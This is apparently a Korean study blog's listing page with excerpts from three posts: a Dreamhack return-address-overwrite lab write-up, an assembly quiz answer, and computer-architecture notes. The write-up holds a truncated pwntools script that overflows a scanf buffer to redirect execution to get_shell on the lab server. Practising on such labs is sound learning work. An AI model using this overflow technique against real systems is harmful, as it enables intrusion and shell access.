전체 글 45

Return address overwrite 실습 라이트업

문제 파일 다운 후 rao.c 파일을 열어보면 25번째 줄에 Stack Buffer Overflow 취약점이 있는 함수인 scanf를 찾을 수 있음. 입력된 데이터를 buf 배열에 저장하는데 배열의 크기에 비해 입력된 데이터의 길이를 검사하지 않으므로, 이 버그를 활용.  from pwn import *# 원격 서버 정보p = remote('host3.dreamhack.games', 10962)# 바이너리 파일 로드elf = ELF('./rao')# get_shell 함수 주소 가져오기get_shell = elf.symbols['get_shell']# 페이로드 구성payload = b'A' * 0x28 # buf 크기만큼 채움 (40 bytes)payload += b'B' * 8 # 리턴 주소 덮..

카테고리 없음 2024.09.22

퀴즈 2,3

[Memory]0x400000 | 0x57 0x65 0x6c 0x63 0x6f 0x6d 0x65 0x200x400008 | 0x74 0x6f 0x20 0x61 0x73 0x73 0x65 0x6d0x400010 | 0x62 0x6c 0x79 0x20 0x77 0x6f 0x72 0x6c0x400018 | 0x64 0x21 0x00 0x00 0x00 0x00 0x00 0x00 를 아스키 코드 변환기를 통해서 문자로 변환하면  Welcome to assembly world! 정답이 나온다.  퀴즈 3  write_n 함수가 syscall을 호출해서 데이터를 출력하게 한다. rdi 레지스터에 잇는 메모리 주소에서 데이터를 읽어솨서 표준으로 출력하고, mov rdi. 0x400500으로 지정된 주소에는  0x303..

카테고리 없음 2024.09.15

9/12 스터디 라이트 업

컴퓨터 구조(Computer Architecture)명령어 집합 구조(Instruction Set Architecture, ISA)범용 레지스터(General Register)세그먼트 레지스터(Segment Register)플래그 레지스터(Flag Register)명령어 포인터 레지스터(Instruction Pointer Register, IP) 컴퓨터 구조의 세부 분야 > 폰 노이만 구조중앙처리장치 (연산, 제어) / 기억장치 (저장)/ 버스 (전자통로)CPU - 두뇌/ 산술논리장치, 제어장치, 레지스터로 구성기억장치 - 주기억장치(램), 보조기억장치(하드드라이브,SSD)버스 - 데이터 버스, 주소 버스, 제어버스, 프로토콜 명령어 집합 구조(Instruction Set Architecture, IS..

카테고리 없음 2024.09.15